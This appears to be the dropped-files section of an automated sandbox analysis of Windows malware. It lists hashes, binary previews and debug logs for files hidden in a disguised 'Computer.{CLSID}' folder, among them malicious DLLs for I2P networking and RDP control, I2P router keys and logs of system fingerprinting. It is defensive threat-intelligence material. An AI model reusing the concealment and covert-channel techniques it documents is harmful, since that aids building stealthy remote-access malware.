SHA-256:	D20E2C900443946290748184DA89C6F05B57CE9FE160F006552116BA6C4BF926
SHA-512:	22BF29B7DDA016A89895C6C603A2ADCAD9D55FA26C9F367E6FA9491E38253159D50A8FC2E89FDE5AF9BCD5ABC25900BF0F73D89410A7C6CDCC550A9E40AD1CD6
Malicious:	false
Preview:	*....\....jg:.....=.........m{E.?_8.[.p.... .7.WWV.P4.....Y.?t1y..o.#..AB....n.P...j....G!.Qz@..8M.LJ.p...(Y..a.D.$FDL...JQ.......p..!.]]_?...l.....G....b..}..."..R..l(x.`N..3.J..>...7.fJ.j.f...Y....g.....r..U........M.....-]..6.#.F..4.p..2..x..xx_'..........%..E.ld.Jy\|F.<.`<y...Ah.........`H\...w..b...E ....W...+...w...>Zx.....hCi.']...Va.Tf..Q..`...."..IB.. .O....!l...r."J;..u.}U[Nj....4.......(.T.L..a..'>...s .%z.._u?.l,&B.%.d.qr..4G...a..Q...L:E....k...G&.S-0..$.d.h.<.....J

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\i2p\destinations\o3ostswbtbg6rofbj7mtlevgtukkyje5smmmvnfoqvu6yo7rwimq.dat

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	7.5867845737732615
Encrypted:	false
SSDEEP:	12:wvFkL4AYX1Nj8wtKTYx/SZ8GjCrUd4KNiFcMBsLtrpRMBrPNh:wdVBjVKOamBgyKNEcMqLfyrh
MD5:	450A5331471E6F1860DD3D00ADD32D5A
SHA1:	49AA7CD997413539A0A592FF2FC65A2EC529A5F2
SHA-256:	812CC4B06C3A314C5F4A8AE92EE0992782639F663EF12BC39F2320F7477C1D74
SHA-512:	002D494439B1BC988B1C679980D2A5DFB6EF2A1B158CF2536D1F3D19BB3178D6D6452B0BEBE08B4D2E7CCF4CD8069838652B38BEA94FFC5DC73D60A8FD2F7D57
Malicious:	false
Preview:	>....9.X..O+.@>..`9b..B.d..`.(..H`VC...Gl....z........m..q./...[W...;&.yy...'....v..,.H..Y.Wo.&.q..x.R..F .....e,........p.v..3.A..X....K..TC..y.;<*F).V.....M.."....x.B..c...C.u.....)y.....oR#...K.Y....y.....h..x-d.~...Q..g.nz...L..p)&...:..\|.k....p..R.....;.$..%E~.C..\|.8eE1.&.......-....e.0.%.V..L......w\|........^.....4.s..9.y=. \|Q;N...g.sR.4.....O..lH..:.(.$1....#".w:A...{.:......3_..U..~.+!......5B!.$C...`.2m.Tj..mEs..?..S.[...../...h...\|....e.2..M......X..;...v.....P~.a5.

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\i2p\destinations\qxeuabsm7q7kzvlxgw3lvfhfpomcma4lhu7iurnqljip7swpzr7q.dat

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	7.542990531846028
Encrypted:	false
SSDEEP:	12:yEMrEf+M/kVTDxr1xwJXl32fG1j6zslpM:HMW+WQ1HWdYGtbq
MD5:	C2FE0BC924CA5ADDB87C8A90DAC6150C
SHA1:	FCE7D45BDFCBDF8794AA542CE656A280266786C1
SHA-256:	8B39BD151E99A197CF7F53DBF923AA78C6946887DB95FC4B3CEF8E238F1C60EC
SHA-512:	74F9B21D87EA57CC05863D24FBACF7B3F4BF3712F622F7195DA9F91C26CD305361BDEA7B1876B918F0D690F81A4FE0FCF3B3FE207E7097E9BB015A2204EB3EA6
Malicious:	false
Preview:	..Q=....Ls.........JTz...!...I..0 ....3%....X.h...i...>...cJ9...g.._c.>m9........{Z....0....o...V..kCY..toT}./!.66..c...d.......#...'Ou.#A..../.O.:.j......yr.....\.:.S0O..8W....q# ....]..6.Fw\.H.L.>.6..z....l.#..(.dB..$.M.....d.....Mf..(..o.qS...%...82......s3 ;.J..<.Z..s_.....c....Y.sh..m..m.bGP8^....W5.F..1@.TJ.......u&yj1.......s.....5/.6.8..dH.....x..C<.b.o.....P...+.7.C...5.>>$.<).M....2pb..B.O......!.8.g...........tt..v.P.v...jq.uch...%........\|.P0..D....o[k...<.c...

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\i2p\destinations\rjairrmutqifuu2dyvegvzaejsapwe7npnton7xili2suvbbxpba.dat

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	7.599560299028174
Encrypted:	false
SSDEEP:	12:7qU0kP/OuluTfPFXro8RB4soJaIRtJrffKpxya5KcWONPMqSAstuYBb2yjLqwxOG:OUJP/dyfRB4sokI7JbfeyaBdxIb27m
MD5:	E1A7B4397B96265320D57AA70CB57A21
SHA1:	DBD13B47ED717A58F45DDEBACC8133F0BB167426
SHA-256:	D27AB76578EE2E23812DDCE17255CBBBD625840B294138308E364722BB3B6803
SHA-512:	2FCD1F202F05C5D9168AEBA4A6522D0B07042661C649DED9BB83F9C5C4827A4E8433878F0CB6825B3192C8B007FA7560A04CD0E688864220DF8CA2537B601F97
Malicious:	false
Preview:	3..:..8.s$.../...I.]zK........:.?..wJ.R.....a.....X.-.]x.j..W..~......@l.$2..w_...]?........u.46j!u...r.......h.&]...[K.....G.v..v.Ckgr....d.....y.....l...%..c@VS..59.{.....u]..c7x^to.&4..!&...l.....(.....7..;.\|..j.....G..k..8"ay..^./.O..6.\.l.............e...R.).qE..G...:b..4O.>".4..f .&0.DL2.a..$/Y..}.T.m.".bfU.t.....TD..OwD.&..g...3.5?.u.sJ.#.b..l..Z....h.".11.U...ilD^.... g ..9..,...-.b.I..!......tX..8...m...72.N.g.}.....O.7{"1>.eb.....L"-.&D..............8v..~....^T..

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\i2p\destinations\rni3zpmvwwukz6scp7m74ogzcibuwcqufvobcyd44ssl46r6lzia.dat

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	7.55823785108821
Encrypted:	false
SSDEEP:	12:P/XEtPS+TEuvJI7W9SYYjNnlxMgfs4gwM08i1wsmxb18:H0tPS+TVuWwYYjNnlxlDMY1jmx2
MD5:	62FA048D60A01E0146EE6E4B50D287D4
SHA1:	76AB963105C3D8417796C3A98C076AEC4C3E6DF7
SHA-256:	BA7941CF342F1D45B8B104C078AB82D61ED200D8937F5CBEA87B88264DAE78D7
SHA-512:	C2E660E130A00EEB75E92598EA518E505ACB0598CD6C3A666AEA8E27F6CF1FE2C01C63C7FFDA79FE177341A691E8557F76C83CD6E41599E410A41E9D4FFBDC99
Malicious:	false
Preview:	$..V..<.d.I-....Pp......y..j.p.?.n#E../v.......L1...[<..v....5...h..W.Y...DVvJI%S...PX.KSW...R...S....[.d...;.Hu".Kv.......TdM...\|..n.w...h..5).WX#..G%W..h.[]h;....3.....m.P#...x..r.....+.@-.{......2...s..t..J.L.$....O.7......?..:..&a:U.t.?C.Ub.4.d..v...z.2..P..?.$P0.HTM.fab$..3.<.Za.eAQU......6.........V._ pa.I/....<..N.'..v.Y..kL..........J...1g......,.....I....J........s`ve.Im....$.L..t.....9.,.p..'......R.....K...X....V......WXm"...gt...;...@....`>Us..BBY../")....F.j..

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\i2p\destinations\tgk34p7xbscpswqequw4eg3uva7ujbnqguh2vp4blsvlxux2hnya.dat

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	7.544849661689239
Encrypted:	false
SSDEEP:	12:NklLVPzjtvh+p7Yfe5ds8Mi1J1f1SklCA:NcLVfxo6fejN1SWCA
MD5:	ED049C0A67254803FCF37AE416AA3E33
SHA1:	FFA407AC48A97B3878F9512D265B8AC06DC509A2
SHA-256:	992D78CD757880A032AF02AD5FCC6D631B64EDDAA5F8B01EDE60EAE29008A4AF
SHA-512:	5273CCFA5D9F46F410D9DA0CA498A68AADE6DCFE4787396DE7CB2270DB7D0CEB018E7D74FE4A351B4EFCD4B82E311DF821626AFFF330978310884130D1949D17
Malicious:	false
Preview:	.vId.......".P.v.6.@FT(.9.......8......9.1J.3C..d.N\|.X6#e..J...>Q.q..,>.w....4.+.]....{......%&x..@..6\|mz_...x....g.....'.W..q...c)...Wy.ug..a.g).....lh ..........NM4b......I.a5y.y..B.V.._.E..N......%...].Q.B.(.@.Y..e..HY..98.%M...?.........mCLl.d_\|Ae....YO.......f'.K.v.Y.]..5.hyK~.N2..8Q..:.>F.b..i.CE.CK!X...>.;...H.3..6\|a...#...<..B_s83.....;.;.{l....Y......R..lz.....a.x....g..\|nA9.c.tF..VKCv]9]......1 H...h...M9.h,.K.B/*..O.I...5.[..{...[...).....0...G,.....\|.....}.;..D.!..

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\i2p\destinations\usvnwljgmw5lx2wv667re7b7s32tjlvdz57gyuvtzjsatvgwec4a.dat

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	7.553247310928163
Encrypted:	false
SSDEEP:	12:6OWSQv6dgA/jpemPEw2oo+jG414DlfQ4HZ5w1+fj9jD:KYdHrpemsovG4mhfvHjwsRjD
MD5:	C6CF55E06E4FEA80F4434AEBD63612EF
SHA1:	C018409C2F821A9C468CF98A24B4DE94D1D55F23
SHA-256:	F7CC8E8CDD2B93940879E3606857CE3183E06E83B0DC3A7DA06ED5EE53DEA1A3
SHA-512:	2FFB4D6E4FE1C4C7A44FC794014ED3FCFC2C648620445717F47040B52B6D1964CBE099E11E178D5800C1C79C314C63AB762567A879FB1242A046895116DEEAE0
Malicious:	false
Preview:	......(]..I.<.....n..mQ./f.....b..`nf./O.S.?L.]@.....E".f.'.=1..9..;..#.....IG....'.F"..4bn.`..........G..~..W..i..m..R...\|9n.8..i...jA..A.o..U..u^.....+"...jH..u.yn:N.Y.a.L^..:.........}....1$E.......L'...e...CH....g..F;.v...Hk.1.........y..yc..........^.P....d.88X~.Re1...k...KT.4.R.S.W.Gk.c..Q.{.q..R"dc.,..FR........W.r\|T.......@...e..4..m'BI..z..X$]..P}...gP...M]V.j...#.a.A\.W^M=...d.......Nf.((J....L....O.]^gg......$...A...Z..m...RUQ.J.s._.8p?8y.y.Vs'.......$..a.....s.....n&

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\i2p\destinations\wmjvbs3i4j6dkjmjswk7qwwhxf4yap3faowuazz2ghru6j5y3jfq.dat

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	7.624068592945783
Encrypted:	false
SSDEEP:	12:1GfPhlGgvYcPMQlOcuXCQ+qzUTS//ZJ77pjo9:1GHGrcPtUfUm/Rjo9
MD5:	C606FBC54B285D4642B26C5C64BB2101
SHA1:	07F629AC4782E929FB65D8BA40FF096C9A9AC42B
SHA-256:	5079BFF4A5AF8F51CB1AF8CB263CEA9BBCE1BA600B780F716559ED0AEF262FBF
SHA-512:	3840701493F07FA98EA1ADC49794F405EC36C093D79C2C6DE09A1C3B2B041EA27D3784F6213C50E5274980B71B5CE544858C37CE7E862333C10FFB513481653A
Malicious:	false
Preview:	\|J).qVn...j...-..b...E].....r..!O..p.e. (1g..#b=f.IC:>.E..?.m..Q..F..9pf.3.D...."BwP.;t..@.}.....j.L....n...'p.."j..{..J..M.W..E.p.8.nJI.J.)...v... ..J{...,/.O..r.[..ei}..U..6..koYH..]:..IC2:...L..a.2<..E.J..s..=.A...._.\.H@E+.c...f...1FL..:./.J....s.....4.l...........`.][.k.v&Wg5.J.......9G..............<]T....s..[..I....]..w\.~'JE.0.`.I........:..z.....g...+.h.x.z<....F......\.U...".O...dj3..]I*.p... "THdNP.k..F.T......"qX....;...$.;..kt.........<jlq..I.!>B;.$.\|05....Z.N.........(.

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\i2p\ntcp2.keys

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	6.037492001110315
Encrypted:	false
SSDEEP:	3:xVE+YLU4Q23PHp5xtU9RE/dP5:3tsBQSrfIEZ5
MD5:	392741C71213C998A0DE150EADDAF2C2
SHA1:	964F24D82EAD7C4F76138CE2D74DB5933DF68CE4
SHA-256:	4856D55E42ED990BADCC65A1E629AD7617F9E461FD34D38E4963CACB565BA26F
SHA-512:	FAF3A2CF93A1B69D32433C83C3F741EAA38324E4F9884E314395A12BDD3A008AD954399FF55C4CBBDE25A93ED47941EA1242D8FB1441D3B546CD854AD2B762EF
Malicious:	false
Preview:	..t..>...z.8..`4.*G....=.I.Y....u...g.!p.e....~............Y.7%M...4.O.....K

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\i2p\router.info

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	data
Category:	dropped
Size (bytes):	721
Entropy (8bit):	6.670880900292129
Encrypted:	false
SSDEEP:	12:/kuIHxCPIHxCPIHxCPIHxCPIHxCPIHxCPIHxCPIHxCPIHxCPIHxCArTwk4yDkfIl:8PRlRlRlRlRlRlRlRlRlRj2yyHRydnJz
MD5:	8B09EA9878A6420D1EADEA7904AC4EA5
SHA1:	9834C062114D163B13538905F622BAD55A6014F6
SHA-256:	8CC76835983C1A2F391F4BC4FDDFEBE9B4C868B2AE983C2C07B72AA02AF5FE2B
SHA-512:	A5551618850E727C3D1BEA71297C5AD73363D54DCD508E7E5AD892FA9399707CD884B6347B83AFEEC41A6FCF2AC8EC9FB557F417A4FA78665620ACCDC7082D15
Malicious:	false
Preview:	.....An.~._!Jt.....[.s...3.....s.h..FKu\|..me.nY.f...:.&......(...h..FKu\|..me.nY.f...:.&......(...h..FKu\|..me.nY.f...:.&......(...h..FKu\|..me.nY.f...:.&......(...h..FKu\|..me.nY.f...:.&......(...h..FKu\|..me.nY.f...:.&......(...h..FKu\|..me.nY.f...:.&......(...h..FKu\|..me.nY.f...:.&......(...h..FKu\|..me.nY.f...:.&......(...h..FKu\|..me.nY.f...:.&......(..I..A.fkM.....?_....w.A.X[.QB...............0NR...........NTCP2.@.caps=.4;.s=,F4d0G90-htEBetk4DBpgNK0qR~e7~YM9x0m-Wd7vkAU=;.v=.2;..........SSU2.q.caps=.4;.i=,Tuv55otY-QEjSjfjF-BMHhqj3ZCdFYB3KA2tvlPO0rM=;.s=,Q1c8WvuOm~jxOzaOjECcC2Qatq0u6KT4wPaQ6io~-1I=;.v=.2;..,.caps=.LU;.netId=.2;.router.version=.0.9.60;+c!..&/..O.}..:..)y.6..A.....9..\|pq...t.O(_........~..G.&#..

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\i2p\router.keys

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	data
Category:	dropped
Size (bytes):	455
Entropy (8bit):	6.1395387447907614
Encrypted:	false
SSDEEP:	12:/kuIHxCPIHxCPIHxCPIHxCPIHxCPIHxCPIHxCPIHxCPIHxCPIHxCArTwk4yEqjQr:8PRlRlRlRlRlRlRlRlRlRj2yb+
MD5:	97C6BB9B99A9E9E70EC9B2B807D4D117
SHA1:	DE3D4E8E6E0F8AC5F594C1B8F7D2AC2B0935B76F
SHA-256:	EEA0E2D55DD19FE7CD02CED80463823477DECB9B61AAF8C38AF8E1E23C69E259
SHA-512:	2E805954E100496C02BDFF334C58DA4FFB7CF94E3E002B62F1F491AC5A96D1C608C65A663DE6BC83055BF216BA8D32E10AC94823C77E159BFEB937BCF174079E
Malicious:	false
Preview:	.....An.~._!Jt.....[.s...3.....s.h..FKu\|..me.nY.f...:.&......(...h..FKu\|..me.nY.f...:.&......(...h..FKu\|..me.nY.f...:.&......(...h..FKu\|..me.nY.f...:.&......(...h..FKu\|..me.nY.f...:.&......(...h..FKu\|..me.nY.f...:.&......(...h..FKu\|..me.nY.f...:.&......(...h..FKu\|..me.nY.f...:.&......(...h..FKu\|..me.nY.f...:.&......(...h..FKu\|..me.nY.f...:.&......(..I..A.fkM.....?_....w.A.X[.QB............j....lF.a.........j.;..7B..E~.....)..=.C....I.=0.T.BVkw/fz.

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\i2p\ssu2.keys

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	data
Category:	dropped
Size (bytes):	96
Entropy (8bit):	6.314129167387828
Encrypted:	false
SSDEEP:	3:jft9surlY5mXXpfGdWViwIn2Wn:jl9rAmpPxIn2Wn
MD5:	341B9BA4A056FD653CCF2AD78ABF854E
SHA1:	034365159BA29815F85EAF83929ECCDB287109A9
SHA-256:	F4D9CAA5F14B6FC218C0D77980C1F03BAFC57F87A93F92D3338AAD42DBDAC1F4
SHA-512:	644DBF9735F672340482357AD7A0B71242E5188BCDE1A8335AA09A1EC5BFCD0398EBCBEEC2534EEB9CA6B112E3F526BD291D0D4C5A5546046621E1772D82A977
Malicious:	false
Preview:	CW<Z.....;6..@..d..........*?.RP..k...j....0....'.]...f..s.`.EN...X..#J7...L.......w(...S..

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\libi2p.dll

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	9146880
Entropy (8bit):	6.674868432808522
Encrypted:	false
SSDEEP:	196608:DiRu5DnWLX6Cs3E1CPwDvt3uF8c339CME:DiRsCKCsU1CPwDvt3uFd9CME
MD5:	676064A5CC4729E609539F9C9BD9D427
SHA1:	F77BA3D5B6610B345BFD4388956C853B99C9EB60
SHA-256:	77D203E985A0BC72B7A92618487389B3A731176FDFC947B1D2EAD92C8C0E766B
SHA-512:	4C876E9C1474E321C94EA81058B503D695F2B5C9DCA9182C515F1AE6DE065099832FD0337D011476C553958808C7D6F748566734DEEE6AF1E74B45A690181D02
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d......f..........."...).t]......R..0........................................P............`... .......................................z..t... ...,............p..?...........p...............................`m.(....................*...............................text...(r]......t].................`..`.data.........]......x].............@....rdata..`>...@^..@....^.............@..@.pdata...?....p..@...^p.............@..@.xdata...t....t..v....t.............@..@.bss....`Q...@z..........................edata...t....z..v....z.............@..@.idata...,... ......................@....CRT....`....P......................@....tls.........`......................@....reloc.......p......................@..B........................................................................................................................................................................

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\j5ql5xzpbrfk9lvkq57d8xjw55zyt.exe
File Type:	PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	89088
Entropy (8bit):	6.205377670389132
Encrypted:	false
SSDEEP:	768:y5rUJUohYhdi9PbahfxaxQo9uYN/kpYBbMQGwryimzgvmak7EoKk1dhJJY9V/Sbf:digoZax39NN/DBgQVmzg5kF/ctIN
MD5:	BB070CFBD23A7BC6F2A0F8F6D167D207
SHA1:	BDB8961F8AFB999AECE60BF1EF3E49E8E2349F7B
SHA-256:	C0860366021B6F6C624986B37B2B63D460DD78F657FC504E06F9B7ABBFDC2565
SHA-512:	93D052675636FBE98204EF8521B9F10F8A0CBCAC40E8835AD8249DAFD833C29B7F915A898671B21064D4ED6D04DA556D9D3647D03EB93232ADB2ACD2D7DC1F8A
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d......................*.....X.................@....................................-.....`... .................................................P............`..X............................................B..(....................................................text...X...........................`..`.data...............................@....rdata...Q.......R..................@..@.pdata..X....`.......0..............@..@.xdata.......p.......:..............@..@.bss....P................................idata..P............D..............@....CRT....`............V..............@....tls.................X..............@....reloc...............Z..............@..B................................................................................................................................................................................................................

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.log

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	13511
Entropy (8bit):	5.603686264960938
Encrypted:	false
SSDEEP:	192:AzOTi0dAQXh1d8yX7E0w86ocoX3wgox879FKZ+8u++faD8dBMGqa89nsUEg8HoOp:sOT2zEz5NvAbp+Kz/1B2X0rnC
MD5:	E8524DE0DDB8DFAFF080F03A57FC5B67
SHA1:	E0A34AAA587AD55C94C3250CDBEB115CDCDA3401
SHA-256:	6DE9766FCAC93634F083E4CD1448C0D626958CDC381285C24B0C999545744567
SHA-512:	916BCB51E7BB952C6981FA26E02532985376D99DEA325C26FD83BEA53933FA939163353463493B3E6FA948D657683C676121F75A7883EF4B4F26BE32FF267744
Malicious:	false
Preview:	[I] (debug_init) -> Log open success(flog_path=C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.log)..[I] (debug_init) -> Done..[I] (module_load) -> Done(name=ntdll.dll,ret=0x00007ff8c8850000)..[D] (module_get_proc) -> Done(hnd=0x00007ff8c8850000,name=RtlGetVersion,ret=0x00007ff8c888e520)..[I] (sys_init) -> GetWindowsDirectoryA done(sys_win_dir=C:\Windows)..[D] (registry_get_value) -> Done(root=0xffffffff80000002,key=SOFTWARE\Microsoft\Cryptography,param=MachineGuid)..[I] (sys_init) -> GetWindowsDirectoryA done(sys_mach_guid=9e146be9-c76a-4720-bcdb-53011b87bd06)..[I] (sys_init) -> GetVolumeInformationA done(vol=C:\,vol_sn=bddd1a2f)..[I] (sys_init) -> Done(sys_uid=c76a8f08bddd1a2f,sys_os_ver=10.0.19045.0.0)..[I] (fs_file_read) -> Done(path=C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\update.pkg,buf_sz=10480965)..[I] (fs_path_expand) -> Done(path=%TEMP%,xpath=C:\Windows\TEMP,xpath_sz=15)..[I] (fs_path_temp) -> Done(path=C:\Windows\TEMP\PrnaubOU,path

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\npX5adYEH7eu.acl

Download File

Process:	C:\Users\user\AppData\Local\Temp\j5ql5xzpbrfk9lvkq57d8xjw55zyt.exe
File Type:	data
Category:	dropped
Size (bytes):	456
Entropy (8bit):	3.2341395630162877
Encrypted:	false
SSDEEP:	12:Ml8Pi7t8+d/fQfjfEWNfElsfghFfShFfgmSem4emzYWr:k8APd/oj8i8ls0FSFgID7r
MD5:	40AB00517F4227F2C3C334F1D16B65B4
SHA1:	F8D57AF017E2209B4FB24122647FD7F71B67C87C
SHA-256:	4BAF4B78D05A28AF7DEE7DBBCE2B4EDF6053D9239C1756C932BE9F2FEEE4EF85
SHA-512:	75D74306F043B864295F09A60C19A43494C226664733C99318989CE5C22CB9395BB407FB5C8C0268AD9184A79813304ED5FC943A6B53DB54F5F225CDA31650E3
Malicious:	false
Preview:	C.o.m.p.u.t.e.r...{.2.0.d.0.4.f.e.0.-.3.a.e.a.-.1.0.6.9.-.a.2.d.8.-.0.8.0.0.2.b.3.0.3.0.9.d.}.....D.:.A.I.(.D.;.;.F.A.;.;.;.B.U.).(.A.;.;.F.A.;.;.;.B.A.).(.A.;.O.I.C.I.I.D.;.F.A.;.;.;.B.A.).(.A.;.I.D.;.F.A.;.;.;.S.Y.).(.A.;.O.I.C.I.I.O.I.D.;.F.A.;.;.;.C.O.).(.A.;.O.I.C.I.I.O.I.D.;.F.A.;.;.;.S.Y.).(.A.;.O.I.C.I.I.D.;.0.x.1.3.0.1.f.f.;.;.;.I.U.).(.A.;.O.I.C.I.I.D.;.0.x.1.3.0.1.f.f.;.;.;.S.U.).(.A.;.O.I.C.I.I.D.;.0.x.1.3.0.1.f.f.;.;.;.S.-.1.-.5.-.3.).....

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\prgmgr.dll

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	105984
Entropy (8bit):	6.285421743969757
Encrypted:	false
SSDEEP:	1536:BQrD6CCk73WUJ/2WEvooF8VohjBdmaKqYdpFXaRQSCYA8CSs8qgu06wCYA8CSs8V:BA6sDl/2WEvo0DipFXaRQO
MD5:	6E01ED70D02CE47F4D27762A9E949DEE
SHA1:	32B9199EBBD7891CF0091B96BF3B2C9303AB7B7A
SHA-256:	EFB9B3D4356071EE8FE66979140E7435371EC668088A68786C6FDCEDF29D7376
SHA-512:	B21C8F79553EE513F6C48EFA618C20FB82CBC77EDE95579C28C21D8BB433B93D108CEF442B48ECBDABD0B06AA5C8AEDC8B26316167D1793A0E972B38D4210854
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.................."...*............Y........................................@............`... .........................................^.......................T............0..h...............................(.......................`............................text...............................`..`.data........ ......................@....rdata..Pc...0...d..................@..@.pdata..T............n..............@..@.xdata...............x..............@..@.bss.... ................................edata..^...........................@..@.idata..............................@....CRT....X...........................@....tls......... ......................@....reloc..h....0......................@..B........................................................................................................................................................................

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\prgmgr.log

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4989431
Entropy (8bit):	5.005298546018559
Encrypted:	false
SSDEEP:	192:AONOTB0+55555555555o5555o5555555555555555555555555o555555555555y:NNOTF
MD5:	78F5E6B53B87ABDBB87B5BE0B7473F24
SHA1:	12B90FDFF40BC73A5D8B2C4C76C81C1A261102B4
SHA-256:	623E470D5E7B9840FBC3DB796C5514BE4F06324BA311E967D0F02A5132546449
SHA-512:	01A0A54616CFBBC4FACA034B99F92151DD98CBAA39EDD64AB1E4C817D859E358437F1967919B18C0A9436432F80CDEF1155453CDE391BD784FC0E6F324031328
Malicious:	false
Preview:	[I] (debug_init) -> Log open success(flog_path=C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\prgmgr.log)..[I] (debug_init) -> Done..[D] (ini_get_sec) -> Done(name=main)..[D] (ini_get_var) -> Done(sec=main,name=version,value=400004957b19a09d)..[I] (module_load) -> Done(name=ntdll.dll,ret=0x00007ff8c8850000)..[D] (module_get_proc) -> Done(hnd=0x00007ff8c8850000,name=RtlGetVersion,ret=0x00007ff8c888e520)..[I] (sys_init) -> GetWindowsDirectoryA done(sys_win_dir=C:\Windows)..[D] (registry_get_value) -> Done(root=0xffffffff80000002,key=SOFTWARE\Microsoft\Cryptography,param=MachineGuid)..[I] (sys_init) -> GetWindowsDirectoryA done(sys_mach_guid=9e146be9-c76a-4720-bcdb-53011b87bd06)..[I] (sys_init) -> GetVolumeInformationA done(vol=C:\,vol_sn=bddd1a2f)..[I] (sys_init) -> Done(sys_uid=c76a8f08bddd1a2f,sys_os_ver=10.0.19045.0.0)..[I] (net_init) -> Done..[I] (ebus_init) -> Done..[I] (ebus_subscribe) -> Done(handler=0x00007ff8ba50a8a0)..[I] (tcp_connect) -> Done(sock=0x388,host=7

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\rdpctl.dll

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	129536
Entropy (8bit):	6.2852879161990645
Encrypted:	false
SSDEEP:	1536:UmeFYyUJdEqzx2LVJ4ngXsNXGRqnbxeGqS/h0E0P3j4NBtRLBhBr:UZUJdhxCJ4ngg46weh0dr4vnV
MD5:	88E6178B0CD434C8D14710355E78E691
SHA1:	F541979CAD7EE7C6D8F2B87A0F240592A5DC1B82
SHA-256:	7B40349481AD6C522A23FB3D12D6058EC0A7C5B387348FB4AE85135EE19C91A4
SHA-512:	C4330A9EE1E69785420AABCFD1991AAAEB0F1764EB7E857F0C86161F61E1FFD467B458A2D458D3C55BB76D00F26FAC481D026443AB0796D0AEF38BF06CD84B8F
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.................."....<..........Y.........,...................................../....`... ...................................... ..^....0..D............................p..l...............................(...................p5...............................text....:.......<..................`..`.data........P.......@..............@....rdata.......`.......B..............@..@.pdata..............................@..@.xdata..............................@..@.bss.....................................edata..^.... ......................@..@.idata..D....0......................@....CRT....X....P......................@....tls.........`......................@....reloc..l....p......................@..B........................................................................................................................................................................

